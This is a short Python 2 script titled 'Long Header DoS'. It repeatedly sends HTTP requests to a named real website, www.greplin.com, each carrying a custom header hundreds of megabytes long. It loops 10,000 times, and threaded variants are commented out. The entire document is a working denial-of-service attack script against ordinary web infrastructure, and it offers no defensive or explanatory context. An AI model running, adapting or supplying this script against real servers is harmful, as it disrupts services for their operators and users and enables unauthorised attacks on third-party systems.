Long Header DoS

dos.py

import httplib, urllib
import threading

def long_header_dos():
    print "start "
    params = urllib.urlencode({'spam': "1" * 1 })
    headers = {
               "Host": "www.greplin.com",
               "User-Agent": "Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.2.7) Gecko/20100715 Ubuntu/10.04 (lucid) Firefox/3.6.7",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Accept-Language": "ja,en-us;q=0.7,en;q=0.3",
               "Accept-Encoding": "gzip,deflate",
               "Accept-Charset": "Shift_JIS,utf-8;q=0.7,*;q=0.7",
               "Keep-Alive": "115",
               "Connection": "keep-alive",
               "Cache-Control": "max-age=0",
               "X-Hacker": "greplin is good!!" * 1024 * 1024 * 32,
               }
    conn = httplib.HTTPConnection("www.greplin.com")
    conn.request("GET", "/", params, headers)
    response = conn.getresponse()

    print response.read()
    #print response.status

import time

class Runner(threading.Thread):


    def __init__(self):
        threading.Thread.__init__(self)

    def run(self):
        self.test()
        #time.sleep(1)

    def test(self):
        long_header_dos()

for i in xrange(10000):
    #r = Runner()
    #r.start()
    #time.sleep(1)
    long_header_dos()

#r.join()